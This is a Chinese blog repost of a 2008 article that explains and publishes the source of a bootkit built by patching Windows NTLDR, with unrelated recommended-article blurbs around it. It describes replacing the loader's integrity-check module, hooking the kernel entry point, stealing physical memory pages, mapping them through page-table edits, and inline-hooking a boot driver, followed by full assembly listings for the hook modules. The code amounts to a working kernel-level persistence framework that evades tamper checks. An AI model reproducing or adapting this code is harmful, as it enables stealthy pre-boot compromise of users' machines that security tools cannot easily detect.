一种基于NTLDR的BOOTKIT──原理及实现

UEFI启动盘制作原理与Rufus/Ventoy实战指南 U盘启动盘本质上是固件(UEFI/Legacy)、分区表(GPT/MBR)和启动文件(BOOTX64.EFI等)三者严格对齐的技术产物。UEFI并非升级版BIOS,而是一套具备文件系统、驱动模型和安全校验能力的独立运行环境;其核心依赖FAT32格式U盘、标准EFI路径(/EFI/BOOT/BOOTX64.EFI)及Secure Boot兼容签名。当前90%启动失败源于固件模式误判或ISO未解包重签——Rufus需精准匹配GPT+UEFI (non CSM)并启用测试签名,Ventoy则通过预签名引导器绕过签 阅读详情
 Author: inghu  EMail: jack.xlt@gmail.com  Site: http://hi.baidu.com/inghu  Date: 2008-11-1  前言:XCON2008将于不日召开,其间国内外安全界之高手将云集席间,共享中国安全界这一盛会。吾自 ...
  Author: inghu
  EMail: jack.xlt@gmail.com
  Site:  http://hi.baidu.com/inghu
  Date: 2008-11-1
   前言:XCON2008将于不日召开,其间国内外安全界之高手将云集席间,共享中国安全界这一盛会。吾自学计算机以来从网络受益颇多,或换言之,若无网 络 便无今日我对计算机知识的了解。吾近来研究NTLDR的结构和功能略有所得便随手做了个基于NTLDR的BOOTKIT,正想写篇相关文章回馈互联网,也 正如安全焦点的LOGO所说"From the Internet, For the Internet",而恰好这时又侧耳听闻MJ0011将在此次XCON上发布它的高级Bootkit Tophet.A,吾虽对Tophet略有耳闻,但未睹其真面目,这次吾对Tophet也是翘首以待,在一睹Tophet真身以前,吾发现很少有相关 BOOTKIT的文章,也未见任何源代码,便决心写下这篇文章,一为回馈滋养了我多年的网络;二也为这次XCON的召开推波助澜。
  一.简介
  二.NTLDR的HOOK
  三.内核的加载与定位
  四.对内核做HOOK
  五.在内存里搭个狗窝
  六.把自己挂上去
  七.源代码
  八.尾声
  一.简介
   先简要介绍一下我这个BOOTKIT吧,我这个BOOTKIT是基于NTLDR的文件型BOOTKIT,NTLDR是winNT系列内核的 Osloader,当开机以后BIOS载入MBR,MBR载入DBR,然后DBR载入NTLDR,并将执行权转交给它,它再来启动内核。所以NTLDR是 最接近内核的,而且对它做HOOK,可以避免编写针对各种类型外设的代码,提高通用性。总的来说,我的BOOTKIT有以下几个特点:
  1.ring3下就可完成hook(改写NTLDR)
  2.注入内核的代码没有内存大小限制,也无需自己读入代码
  3.BOOTDRIVER驱动初始化时加载(依情况而定,也可hook内核其它地方)
  4.理论上可以hook各种版本ntldr
  5.理论上可以引导各个版本nt内核和内存相关boot.ini参数(嗯,你的内核得能用ntldr启动才行)
   暂时没有对PAE内核,x64和内存相关BOOT.INI参数提供支持。我的调试环境是Bochs、Vmware、Windbg、Win2000 sp4、WinXp sp2、Win2003 sp1。汇编工具是C32ASM。本文牵涉到Windows x86的段页式内存管理、Windows地址空间布局结构、PE文件结构和汇编的知识,本人在写作本文时假设您已经了解了这些知识。
  二.NTLDR的HOOK:
   要做NTLDR的BOOTKIT,当然,我们首先面临的问题就是如何对NTLDR做HOOK?要对NTLDR做HOOK,那就首先要对 NTLDR的文件结构有所理解才行。我大致说一下它的结构和功能,NTLDR是由两部分构成,一部分是被称作Su Module(Startup)的16位汇编代码,另一部分则是名为Osloader的PE文件。Su module位于NTLDR的头部,Osloader紧随其后。DBR将NTLDR加载到物理地址2000:0000开始的地方,然后跳转到这个地址,将 控制权交给NTLDR进行引导,而这个地址也就是Su的入口。Su的主要功能是为Osloader准备内存环境,包括GDT、IDT、打开保护模式(未分 页)和将Osloader按编译时的虚拟地址移动Osloader等等。在MP(多处理器)版本的NTLDR中,Su还有一件事情要做,就是检测 Osloader的完整性,如果它检测到NTLDR被修改,那么,嘿嘿,这句话送给你“NTLDR is corrupt.The system cannot boot.”为了兼容windows 2003,我的DEMO就是用这种版本的NTLDR做的,由于我太懒,就没有研究这部分了,我绕过它的办法就是把它切了——我用没有校验的Su替换了它 ——我是不是很黄很暴力?嗯,我想是有那么点!
  再讲讲Osloader,它的作用比较复杂,说的简单点就是为内核准备执行环境,然 Osloader会根据boot.ini的设置将 windows内核、hal.dll和其它Boot Driver加载进内存。有关NTLDR更详细的结构和功能,请读者参看有关资料。
  了解了NTLDR的大致结构和功能。好,接着我们来看一下 我们HOOK NTLDR所存在的问题?首先就是该在哪下手,理论上你可以在任何一个地方下手(废话),但是接下来你该跳转到哪里呢?茫茫内存,我该如何走啊,我又在人 生的道路上迷路了。。。靠!所以先要选个老巢,执行HOOK CODE之后,才能让CPU有个地方可以去。我选择将CODE放在Osloader里,没错,Su会按SECTION的地址重定位Osloader,这样 我们就可以很轻松地定位我们CODE的地址。我的做法就是直接用工具在Osloader里新建了一个节,将所有XX都放在了里面。兜了个圈子,我们回来, 我们到底要在哪下手呢?因为我们的根本目的是要HOOK内核,所以执行我们CODE的时候,内核要已经被加载进了内存。那我们怎么知道在哪内核已经被加载 进了内存呢?根据我对NTLDR的分析,在将控制权转给内核之前,Osloader会调用这个函数──BlSetupForNt,这个函数的会最后做些设 置的收尾工作,包括剪裁页表。有个函数有个P用啊?要定位它的位置啊!嗯,所以我在这个函数里面找到了这个特征码:
  mov eax, cr3
  mov cr3, eax (机器码:“0F 20 D8 0F 22 D8” )
   这段代码是用来flush TLB的。这段代码在我能找到的NTLDR里都出现过了,眼看就可以下手了吧,我很遗憾的告诉你,我不只在一处找到了这串特征码,并且有在内核加载之前调 用的也有在内核加载之后调用的。为了顺利HOOK内核,所以我在CODE里加了保护性代码,通过这段代码你几乎可以在任何完整指令处进行HOOK。你可以 下很多HOOK,不过得有一个是在内核加载之后执行的。利用这段特征串能比较方面的找到HOOK点。
  在我制作DEMO的过程中发现“0F 20 D8 0F 22 D8” 串会集中出现在文件头的部分和文件尾的部分,建议只HOOK文件尾的串。我使用"call RVA"共5个字节的指令来实现跳转。
  PS:Osloader位置的确定可以直接搜索特征值"MZ", "PE"。
  三.内核的加载与定位
   当控制权顺着hook code,转移到这一步的时候,如上所言,我们必须确定内核是否加载。我第一个想到的办法就是硬编码内核一个地址,然后测试这个地址是否有效,这个办法是 可行的,因为同一个NTLDR总会将内核加载在同一个地址。但是这样的通用性不高,ring3下面的工作会增加。为了使DEMO具有较高通用性,我使用了 暴搜的方法,从可能的加载地址:VA0x80400000~0x81000000。为了不致引起page fault,首先必须从PDE搜索起,再确定PTE是否有效,然后测试MZ、PE标志,最后ImageSize的大小要大于0x150000(也就内核这 么大了),这是为了避免其它PE文件影响结果,像Osloader。
  四.对内核做HOOK
  这个时候整个内核就在我们眼前了,但是 我们还不能直接动手,因为我们现在CODE所在的内存会在内核初始化的时候被清洗掉,所以我们还要 HOOK一次EntryPoint。为什么?这个道理就像我们站在了一座宝库门口,但是我们偏偏没有一把打开宝库的钥匙,而这把钥匙会出现在内核的 EntryPoint里。这把钥匙就是内核入口函数KiSystemStartup的参数──LoaderBlock。
  这是一个类型名为LOADER_PARAMETER_BLOCK的指针。它的结构如下:
  typedef struct _LOADER_PARAMETER_BLOCK {
  LIST_ENTRY LoadOrderListHead;
  LIST_ENTRY MemoryDescriptorListHead;
  LIST_ENTRY BootDriverListHead;
  ULONG KernelStack;
  ULONG Prcb;
  ULONG Process;
  ULONG Thread;
  ULONG RegistryLength;
  PVOID RegistryBase;
  PCONFIGURATION_COMPONENT_DATA ConfigurationRoot;
  PCHAR ArcBootDeviceName;
  PCHAR ArcHalDeviceName;
  PCHAR NtBootPathName;
  PCHAR NtHalPathName;
  PCHAR LoadOptions;
  PNLS_DATA_BLOCK NlsData;
  PARC_DISK_INFORMATION ArcDiskInformation;
  PVOID OemFontFile;
  struct _SETUP_LOADER_BLOCK *SetupLoaderBlock;
  ULONG Spare1;
  union {
  I386_LOADER_BLOCK I386;
  MIPS_LOADER_BLOCK Mips;
  ALPHA_LOADER_BLOCK Alpha;
  PPC_LOADER_BLOCK Ppc;
  } u;
  } LOADER_PARAMETER_BLOCK, *PLOADER_PARAMETER_BLOCK;
  没错,在这里我们能找到很多我们想得到的数据,以便我们能成功hook内核。
  五.在内存里搭个狗窝
   当CPU执行到这里的时候,我们已经来到了内核入口点——宝库就在眼前。宝库虽好,可是却没有我们住的地方啊,所以我们要在宝库旁边建个 窝,这样才能让我们长期在宝库里XX。为了搭建我们的狗窝,我们有两样工作要做,一是,设法找到空闲的物理页用于映射;二是,找一个虚拟地址空间映射我们 找到的物理页。对于第一步,我想你已经猜到了,嗯,就是LoaderBlock中的MemoryDescriptorListHead。它指向的实际数据 结构如下:
  typedef struct _MEMORY_ALLOCATION_DESCRIPTOR {
  LIST_ENTRY ListEntry;
  TYPE_OF_MEMORY MemoryType;
  ULONG BasePage;
  ULONG PageCount;
  } MEMORY_ALLOCATION_DESCRIPTOR, *PMEMORY_ALLOCATION_DESCRIPTOR;
  其中 MemoryType为
  typedef enum _TYPE_OF_MEMORY {
  LoaderExceptionBlock = MemoryExceptionBlock,            // 0
  LoaderSystemBlock = MemorySystemBlock,                  // 1
  LoaderFree = MemoryFree,                                // 2
  LoaderBad = MemoryBad,                                  // 3
  LoaderLoadedProgram = MemoryLoadedProgram,              // 4
  LoaderFirmwareTemporary = MemoryFirmwareTemporary,      // 5
  LoaderFirmwarePermanent = MemoryFirmwarePermanent,      // 6
  LoaderOsloaderHeap,                                     // 7
  LoaderOsloaderStack,                                    // 8
  LoaderSystemCode,                                       // 9
  LoaderHalCode,                                          // a
  LoaderBootDriver,                                       // b
  LoaderConsoleInDriver,                                  // c
  LoaderConsoleOutDriver,                                 // d
  LoaderStartupDpcStack,                                  // e
  LoaderStartupKernelStack,                               // f
  LoaderStartupPanicStack,                                // 10
  LoaderStartupPcrPage,                                   // 11
  LoaderStartupPdrPage,                                   // 12
  LoaderRegistryData,                                     // 13
  LoaderMemoryData,                                       // 14
  LoaderNlsData,                                          // 15
  LoaderSpecialMemory,                                    // 16
  LoaderMaximum                                           // 17
  } TYPE_OF_MEMORY;
   “借”物理内存的方法有很多种,我们可以遍历List,将合乎我们要求的DESCRIPTOR标记为LoaderSystemCode或者 LoaderBad等等。我用的方法则是在其它两个参数上做文章——BasePage和PageCount。它们分别代表了这个DESCRIPTOR起始 页号和包含的物理页数。我只要修改这两个参数,我就可以想要多少内存页就有多少内存页了——夸张了点!这样抹去的页也永远从内核中消失了(这里的这个方法 应该还可以用于其它XX)。
  接下来我们要做的事就是在虚拟内存中映射我们自己,4GB的空间我们应该映射在哪里呢?我首先注意到的就是最后 4MB的空间,这个空间是给 Hal用的,应该会有空闲空间吧,但实验表明这一块的区域会被重写,导致我们的地址被抹去,所以是不可用的。然后,我的做法是随便找了片内存,修改了 PDE用了个页做页表进行映射,结果是我失败了,当然也不排除这种方法的可能性,也许是我的点没选对。最后我用的方法是在内核虚拟地址所在的那个PDE的 后面一个PDE开始寻找虚拟地址空间,我找的PDE是有效PDE,不是无效的,然后再在页表中找无效PTE,将我要映射的物理地址的PTE写入这个无效 PTE。最后这种方法成功了,不仅没有抹去,连进入windows之后这片内存还完整的存在。
  在win2k中,这种找地址的方法会遇到麻烦, 这是由于win2k的内存管理不同于它的后辈,它使用4MB的LARGE_PAGE进行管理, 从内核地址空间开始一共连续映射512MB物理内存,所以用这种方法得到的虚拟地址最后会不存在,导致BSOD。其实win2k中对于虚拟地址的计算还要 简单,那就是:虚拟地址=0x80000000+物理地址。
  这样经过这两步,我们就成功地打造了我们健在内核旁边我们的“狗窝”,我们就等着挖宝了。。。
  PS:有关windows的x86体系的内存管理请看相关资料,推荐看webcrazy的系列文章。
  六.把自己挂上去
   现在有了我们自己的狗窝,下面就欠一扇从宝库到我们狗窝的大门了,没错,还是LoaderBlock。 LoadOrderListHead和BootDriverListHead,这两个参数所链接的代码都会在 ExpInitializeExecutive函数中初始化,并且LoadOrderListHead所链代码会先于 BootDriverListHead被调用。而BootDriverListHead则是在IO system被初始化时调用。鉴于内核的初始化程度,我选择了后者BootDriverListHead。BootDriverListHead实际上所 指向的是BOOT_DRIVER_LIST_ENTRY这么一个结构:
  typedef struct _BOOT_DRIVER_LIST_ENTRY {
  LIST_ENTRY Link;
  UNICODE_STRING FilePath;
  UNICODE_STRING RegistryPath;
  PLDR_DATA_TABLE_ENTRY LdrEntry;
  } BOOT_DRIVER_LIST_ENTRY, *PBOOT_DRIVER_LIST_ENTRY;
  其中的LdrEntry就是关键了,关于这个结构我只找到它的部分域,但是已经够用了:
  typedef struct _LDR_DATA_TABLE_ENTRY {
  LIST_ENTRY InLoadOrderLinks;
  LIST_ENTRY InMemoryOrderLinks;
  LIST_ENTRY InInitializationOrderLinks;
  PVOID DllBase;
  PVOID EntryPoint;
  ULONG SizeOfImage;
  UNICODE_STRING FullDllName;
  UNICODE_STRING BaseDllName;
  +0x034 Flags            : Uint4B
  +0x038 LoadCount        : Uint2B
  +0x03a TlsIndex         : Uint2B
  +0x03c HashLinks        : _LIST_ENTRY
  +0x03c SectionPointer   : Ptr32 Void
  +0x040 CheckSum         : Uint4B
  +0x044 TimeDateStamp    : Uint4B
  +0x044 LoadedImports    : Ptr32 Void
  +0x048 EntryPointActivationContext : Ptr32 Void
  +0x04c PatchInformation : Ptr32 Void
  } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
   我们通过LdrEntry就可以找到BootDriver的EntryPoint,对它做inline hook就可以了。这里要注意三点:1.只有Flags为某个值时,它才会被初始化(或者说这个BootDriver的DriverEntry函数才会被 调用); 2.由于加载的驱动会被搬移到内存高地址,所以要做inline hook; 3.这个时候驱动还没有relocate,所以某些间接寻址的代码会被修改,所以要找一个代码不会被修改的值。我使用了7个字节来call我的代码 (mov eax, xxxxxx; call eax;),所以要保证这7个字节不会修改。
  我在win2k的某个驱动中找到了这样的代码段:
  55                    PUSH EBP
  8BEC                  MOV EBP,ESP
  83EC 10               SUB ESP,10
  XP中:
  8BFF                  MOV EDI,EDI
  55                    PUSH EBP
  8BEC                  MOV EBP,ESP
  只要inline hook这样的驱动就可以保证不会在relocate后,执行乱七八糟的代码了。
  如此,一扇通向我们狗窝的金灿灿的大门就做好了,你就等着大摇大摆到宝库里往自己窝里搬东西好了。。。
  七.源代码
  说了这么多废话,也不知道您听明白没有,没有?!直接看src,这才是硬道理!
   以下这段代码是直接从我的DEMO上取下来的,因为所有代码都是一句句像debug一样敲进去的,所以就没有那么好看,不要怪我啊!这段代码成功引导了 win2k sp4, winxp sp2, win2003 sp1, wrk等内核,不支持PAE内核和VISTA,还有一些与内存有关的boot.ini的参数也不支持。至于DEMO,由于是直接改的M$的NTLDR,牵 涉到xx问题,就不公开发表了。
  //============================================================================================================
  //以下就是完整的源代码了,我加了少量注释,帮助理解:
  //---------------------------------Module 1------------------------------------------------------------------
  // 修复返回地址,直接执行被hook的代码,这样比修复省n个字节
  00484000: FF0424                         INC     DWORD PTR [ESP]
  00484003: 0F20D8                         MOV     EAX,CR3
  00484006: 0F22D8                         MOV     CR3,EAX
  // 可能会被重复执行,避免重复hook内核
  00484009: 803D FF404800 01               CMP     BYTE PTR [4840FF],1
  00484010: 75 01                          JNZ     SHORT 00484013
  00484012: C3                             RETN
  // 在VA:0x80400000~0x81000000范围内暴搜内核,以确定内核已经加载及找到ImageBase
  00484013: 53                             PUSH    EBX
  00484014: 51                             PUSH    ECX
  00484015: B8 00F03F80                    MOV     EAX,803FF000
  0048401A: 05 00100000                    ADD     EAX,1000
  0048401F: 3D 00000081                    CMP     EAX,81000000                    // 搜索失败
  00484024: 0F84 74000000                  JE      0048409E
  0048402A: 8BD8                           MOV     EBX,EAX
  0048402C: C1EB 16                        SHR     EBX,16
  0048402F: C1E3 02                        SHL     EBX,2
  00484032: 81CB 000030C0                  OR      EBX,C0300000
  00484038: F703 01000000                  TEST    DWORD PTR [EBX],1
  0048403E: 74 DA                          JE      SHORT 0048401A
  00484040: 8BD8                           MOV     EBX,EAX
  00484042: C1EB 0A                        SHR     EBX,A
  00484045: 81C3 000000C0                  ADD     EBX,C0000000
  0048404B: F703 01000000                  TEST    DWORD PTR [EBX],1
  00484051: 74 C7                          JE      SHORT 0048401A
  00484053: 66:8138 4D5A                   CMP     WORD PTR [EAX],5A4D             // 'MZ' flag
  00484058: 75 C0                          JNZ     SHORT 0048401A
  0048405A: 8B58 3C                        MOV     EBX,[EAX+3C]
  0048405D: 813C18 50450000                CMP     DWORD PTR [EAX+EBX],4550         // 'PE' flag
  00484064: 75 B4                          JNZ     SHORT 0048401A
  00484066: 817C18 50 00001500             CMP     DWORD PTR [EAX+EBX+50],150000    // ImageSize >= 0x150000 bytes
  0048406E: 7C AA                          JL      SHORT 0048401A
  // 将内核的ImageBase写入0x4849FC内,并找到内核的EntryPoint做inline hook
  00484070: A3 FC494800                    MOV     [4849FC],EAX
  00484075: 034418 28                      ADD     EAX,[EAX+EBX+28]
  00484079: 8B18                           MOV     EBX,[EAX]
  0048407B: 8B48 04                        MOV     ECX,[EAX+4]
  0048407E: 50                             PUSH    EAX
  0048407F: B8 F0404800                    MOV     EAX,4840F0
  00484084: 8918                           MOV     [EAX],EBX
  00484086: 8948 04                        MOV     [EAX+4],ECX
  00484089: 58                             POP     EAX
  0048408A: C700 B8004148                  MOV     DWORD PTR [EAX],484100B8        // 写入 "mov eax, 0x484100"
  00484090: C740 04 00FFD000               MOV     DWORD PTR [EAX+4],D0FF00        //      "call eax"
  00484097: C605 FF404800 01               MOV     BYTE PTR [4840FF],1
  0048409E: 59                             POP     ECX
  0048409F: 5B                             POP     EBX
  004840A0: C3                             RETN
  //-----------------------------------------Module 2-------------------------------------------------------
  // 修复返回地址和内核入口代码
  00484100: 832C24 07                      SUB     DWORD PTR [ESP],7
  00484104: B8 F0404800                    MOV     EAX,4840F0
  00484109: 8B18                           MOV     EBX,[EAX]
  0048410B: 8B48 04                        MOV     ECX,[EAX+4]
  0048410E: 8B0424                         MOV     EAX,[ESP]
  00484111: 8918                           MOV     [EAX],EBX
  00484113: 8948 04                        MOV     [EAX+4],ECX
  // 暴搜MemoryDescriptor,寻找合适的物理内存页存放代码
  00484116: 55                             PUSH    EBP
  00484117: 8BEC                           MOV     EBP,ESP
  00484119: 83C5 0C                        ADD     EBP,C
  0048411C: 8B6D 00                        MOV     EBP,[EBP]
  0048411F: 8BDD                           MOV     EBX,EBP
  00484121: 83C3 08                        ADD     EBX,8
  00484124: 8B1B                           MOV     EBX,[EBX]
  00484126: 837B 08 02                     CMP     DWORD PTR [EBX+8],2        // MemoryType == MemoryFree
  0048412A: 75 F8                          JNZ     SHORT 00484124
  0048412C: 817B 0C 00100000                                   // no meaning, just for debugging.
  00484133: 837B 10 10                     CMP     DWORD PTR [EBX+10],10
  00484137: 7C EB                          JL      SHORT 00484124
  00484139: 8B53 0C                        MOV     EDX,[EBX+C]
  0048413C: 8343 0C 05                     ADD     DWORD PTR [EBX+C],5        // "借"5个物理页(没的还的)
  00484140: 836B 10 05                     SUB     DWORD PTR [EBX+10],5
  // 开始暴搜页表,寻找合适的虚拟地址映射注入的代码
  00484144: A1 FC494800                    MOV     EAX,[4849FC]
  00484149: C1E8 16                        SHR     EAX,16
  0048414C: C1E0 02                        SHL     EAX,2
  0048414F: 05 000030C0                    ADD     EAX,C0300000
  00484154: 83C0 04                        ADD     EAX,4                // 在ImageBase后所在PDE的下一个PDE开始搜索
  00484157: 83E8 04                        SUB     EAX,4                // 主要是避开使用NTLDR的虚拟地址
  0048415A: 83C0 04                        ADD     EAX,4
  0048415D: 8B18                           MOV     EBX,[EAX]
  0048415F: 83E3 01                        AND     EBX,1
  00484162: 74 F6                          JE      SHORT 0048415A
  00484164: 50                             PUSH    EAX
  00484165: C1E0 0A                        SHL     EAX,A
  00484168: 33C9                           XOR     ECX,ECX
  0048416A: 83C1 04                        ADD     ECX,4
  0048416D: 8B5C08 FC                      MOV     EBX,[EAX+ECX-4]
  00484171: 83E3 01                        AND     EBX,1
  00484174: 74 0B                          JE      SHORT 00484181
  00484176: 81F9 00100000                  CMP     ECX,1000
  0048417C: 75 EC                          JNZ     SHORT 0048416A
  0048417E: 58                             POP     EAX
  0048417F: EB D9                          JMP     SHORT 0048415A
  00484181: 5B                             POP     EBX
  // 在找到的PTE地址里写入要映射的物理内存页号等信息
  00484182: C1E2 0C                        SHL     EDX,C
  00484185: 81CA 63010000                  OR      EDX,163
  0048418B: 03C1                           ADD     EAX,ECX
  0048418D: 83E8 04                        SUB     EAX,4
  00484190: 8910                           MOV     [EAX],EDX
  00484192: 0F20DB                         MOV     EBX,CR3
  00484195: 0F22DB                         MOV     CR3,EBX
  00484198: C1E0 0A                        SHL     EAX,A
  0048419B: 8BD0                           MOV     EDX,EAX
  // 判断内核的版本是不是NT 5.0(win2000)
  0048419D: A1 FC494800                    MOV     EAX,[4849FC]
  004841A2: 8B58 3C                        MOV     EBX,[EAX+3C]
  004841A5: 807C18 46 00                   CMP     BYTE PTR [EAX+EBX+46],0
  004841AA: 75 07                          JNZ     SHORT 004841B3
  004841AC: 68 00200000                    PUSH    2000
  004841B1: EB 05                          JMP     SHORT 004841B8
  004841B3: 68 01200000                    PUSH    2001
  // 在BootDriver中找一个合适的驱动做inline hook
  004841B8: 8BC5                           MOV     EAX,EBP
  004841BA: 83C0 10                        ADD     EAX,10
  004841BD: 8B00                           MOV     EAX,[EAX]
  004841BF: 8B48 18                        MOV     ECX,[EAX+18]
  004841C2: 8B09                           MOV     ECX,[ECX]
  004841C4: 8179 34 00400000               CMP     DWORD PTR [ECX+34],4000   // 观察值,flag为0x4000,该驱动的DriverEntry才会被调用
  004841CB: 75 F0                          JNZ     SHORT 004841BD
  004841CD: 8B49 1C                        MOV     ECX,[ECX+1C]
  004841D0: 8B19                           MOV     EBX,[ECX]
  004841D2: 813C24 00200000                CMP     DWORD PTR [ESP],2000
  004841D9: 75 10                          JNZ     SHORT 004841EB
  004841DB: 81FB 558BEC83                  CMP     EBX,83EC8B55                // 特征值 "558BEC83EC"
  004841E1: 75 DA                          JNZ     SHORT 004841BD
  004841E3: 8079 04 EC                     CMP     BYTE PTR [ECX+4],EC
  004841E7: 75 D4                          JNZ     SHORT 004841BD
  004841E9: EB 0E                          JMP     SHORT 004841F9
  004841EB: 81FB 8BFF558B                  CMP     EBX,8B55FF8B                // 特征值 "8BFF558BEC"
  004841F1: 75 CA                          JNZ     SHORT 004841BD
  004841F3: 8079 04 EC                     CMP     BYTE PTR [ECX+4],EC       //   两处特征值可以保证inline hook的代码
  004841F7: 75 C4                          JNZ     SHORT 004841BD            // 不会被Relocate。
  004841F9: 8B01                           MOV     EAX,[ECX]
  004841FB: 8982 F00F0000                  MOV     [EDX+FF0],EAX
  00484201: 8B41 04                        MOV     EAX,[ECX+4]
  00484204: 8982 F40F0000                  MOV     [EDX+FF4],EAX
  0048420A: C601 B8                        MOV     BYTE PTR [ECX],B8            // hook DriverEntry
  0048420D: 52                             PUSH    EDX                        // 写入 "mov eax, xxxxxxx; call eax"
  0048420E: 817C24 04 00200000             CMP     DWORD PTR [ESP+4],2000
  00484216: 75 1A                          JNZ     SHORT 00484232
  00484218: C1EA 0C                        SHR     EDX,C                        // 重新计算win2k中,注入代码的虚拟地址
  0048421B: C1E2 02                        SHL     EDX,2
  0048421E: 81C2 000000C0                  ADD     EDX,C0000000
  00484224: 8B12                           MOV     EDX,[EDX]
  00484226: 81E2 00F0FFFF                  AND     EDX,FFFFF000
  0048422C: 81C2 00000080                  ADD     EDX,80000000
  00484232: 8951 01                        MOV     [ECX+1],EDX
  00484235: 66:C741 05 FFD0                MOV     WORD PTR [ECX+5],D0FF
  0048423B: 5A                             POP     EDX
  0048423C: 58                             POP     EAX
  // 将要注入的代码复制到目标地址里
  0048423D: B8 00454800                    MOV     EAX,484500
  00484242: 33C9                           XOR     ECX,ECX
  00484244: 8B1C08                         MOV     EBX,[EAX+ECX]
  00484247: 891C11                         MOV     [ECX+EDX],EBX
  0048424A: 83C1 04                        ADD     ECX,4
  0048424D: 81F9 00050000                  CMP     ECX,500
  00484253: 75 EF                          JNZ     SHORT 00484244
  00484255: 5D                             POP     EBP
  00484256: C3                             RETN
  //------------------------------------------Module 3-----------------------------------------------
  // 为注入的代码,只调用了DbgPrint打印了一句话
  00484500: 50                             PUSH    EAX
  00484501: E8 00000000                    CALL    00484506
  00484506: 58                             POP     EAX
  00484507: 83E8 06                        SUB     EAX,6
  0048450A: 53                             PUSH    EBX
  0048450B: 836C24 08 07                   SUB     DWORD PTR [ESP+8],7
  00484510: 8B5C24 08                      MOV     EBX,[ESP+8]
  00484514: 51                             PUSH    ECX
  00484515: 52                             PUSH    EDX
  00484516: 8B88 F00F0000                  MOV     ECX,[EAX+FF0]
  0048451C: 8B90 F40F0000                  MOV     EDX,[EAX+FF4]
  00484522: 890B                           MOV     [EBX],ECX
  00484524: 8953 04                        MOV     [EBX+4],EDX
  00484527: 8D98 00040000                  LEA     EBX,[EAX+400]
  0048452D: 53                             PUSH    EBX
  0048452E: 68 08000000                    PUSH    8
  00484533: 8D98 90010000                  LEA     EBX,[EAX+190]
  00484539: 53                             PUSH    EBX
  0048453A: FFB0 FC040000                  PUSH    DWORD PTR [EAX+4FC]
  00484540: E8 BB010000                    CALL    00484700
  00484545: FFD0                           CALL    NEAR EAX
  00484547: 83C4 04                        ADD     ESP,4
  0048454A: 5A                             POP     EDX
  0048454B: 59                             POP     ECX
  0048454C: 5B                             POP     EBX
  0048454D: 58                             POP     EAX
  0048454E: C3                             RETN
  // 根据目标函数字符串,在内核的导出表中寻找查找内核函数,并返回内核函数的虚拟地址
  00484700: 55                             PUSH    EBP
  00484701: 8BEC                           MOV     EBP,ESP
  00484703: 8B45 08                        MOV     EAX,[EBP+8]
  00484706: 8B58 3C                        MOV     EBX,[EAX+3C]
  00484709: 03C3                           ADD     EAX,EBX
  0048470B: 83C0 78                        ADD     EAX,78
  0048470E: 8B18                           MOV     EBX,[EAX]
  00484710: 035D 08                        ADD     EBX,[EBP+8]
  00484713: 8B43 20                        MOV     EAX,[EBX+20]
  00484716: 0345 08                        ADD     EAX,[EBP+8]
  00484719: 9C                             PUSHFD
  0048471A: FC                             CLD
  0048471B: 56                             PUSH    ESI
  0048471C: 57                             PUSH    EDI
  0048471D: 33D2                           XOR     EDX,EDX
  0048471F: 8B75 0C                        MOV     ESI,[EBP+C]
  00484722: 8B4D 10                        MOV     ECX,[EBP+10]
  00484725: 8B3C90                         MOV     EDI,[EAX+EDX*4]
  00484728: 037D 08                        ADD     EDI,[EBP+8]
  0048472B: F3                             REPE CMPSB
  0048472C: A6                             CMPSB
  0048472D: 74 03                          JE      SHORT 00484732
  0048472F: 42                             INC     EDX
  00484730: EB ED                          JMP     SHORT 0048471F
  00484732: 5F                             POP     EDI
  00484733: 5E                             POP     ESI
  00484734: 9D                             POPFD
  00484735: 8B43 24                        MOV     EAX,[EBX+24]
  00484738: 0345 08                        ADD     EAX,[EBP+8]
  0048473B: 66:8B0C50                      MOV     CX,[EAX+EDX*2]
  0048473F: 8B43 1C                        MOV     EAX,[EBX+1C]
  00484742: 0345 08                        ADD     EAX,[EBP+8]
  00484745: 0FB7C9                         MOVZX   ECX,CX
  00484748: 8B0488                         MOV     EAX,[EAX+ECX*4]
  0048474B: 0345 08                        ADD     EAX,[EBP+8]
  0048474E: 5D                             POP     EBP
  0048474F: C2 0C00                        RETN    C
  //=========================================END===========================================================
  八.尾声:
   关于BOOTKIT有很多种实现,虽然此篇也是BOOTKIT,但使用的技术却很常规,本文也意在讲述后半程技术(如何映射内存和 HOOK内核),以求更为巧妙的技术出现。比如本人就想尝试HOOK NTDETECT.COM和将某类型的网卡做成PCI BOOT CARD,限于精力也只是形成了想法,欢迎有兴趣的朋友一起交流。最后,还是祝各位enjoy yourself吧,玩得开心!
  //*********************本人功力尚浅,其中错误难免,还望读者不吝赐教****************************
  //********本文纯属技术交流,本人不对任何因使用本文所述之技术和代码引起的任何问题负任何责任*****
  //**************************本文可以随意转载,但请保留版权信息*********************************
  //********文中提到的所有数据结构均搜集于Internet,本文所述之原理均*****************************
  //********来自于本人对NTLDR和NT内核分析的笔记还有Internet,再次感谢网络!!!!****************
  //=================技术是把双刃剑,既可杀敌也可防敌,至于是杀是防全看用剑之人==================
NTLDR 源码 NTLDR 支持VMWARE+WINDBG 调试 同时支持2000 XP WRK 2003 是分析WRK源码的好帮手 立即下载

相关推荐

WinNT4:Windows NT4内核源代码-windows source code

WinNT4:Windows NT4内核源代码

osloader!BlOpen 函数分析----NTLDR源代码分析

osloader!BlOpen 函数分析----NTLDR源代码分析

linux-0.11调试教程 683

SORT算法在遮挡下总跟丢?深入OC-SORT源码,拆解其三大创新点如何解决卡尔曼滤波的顽疾

本文深入解析OC-SORT算法如何通过三大创新点解决多目标跟踪中的卡尔曼滤波顽疾。OC-SORT引入在线平滑虚拟轨迹技术(OOS)、观测中心动量匹配机制(OCM)和基于最后观测的轨迹恢复(OCR),显著提升了遮挡场景下的跟踪性能。实验数据显示,相比传统SORT算法,OC-SORT在MOT17数据集上MOTA提升5.7%,遮挡恢复成功率提高64.2%,为Multi-Object Tracking领域带来突破性进展。

weixin_42547431的博客 242

ntldr 逆向工程

  ntldr分为两部分,一个16位flat模式的二进制文件(类似于一个.COM文件)和一个32位的PE文件,它们担负了大部分装载任务。我发现可以用 一种简单的办法来把ntldr分开,从而用IDA分别研究这两部分。我们可以使用一个16进制编辑器,在ntldr中搜索"MZ"或者"PE"这两个特征 字符串,从"MZ"开始到文件结束作为一个文件。我把它命名为osloader.exe,因为这个文件的信息头

我的新家 2081

物体检测之非极大值抑制:NMS、softNMS、softerNMS、IoU-Net

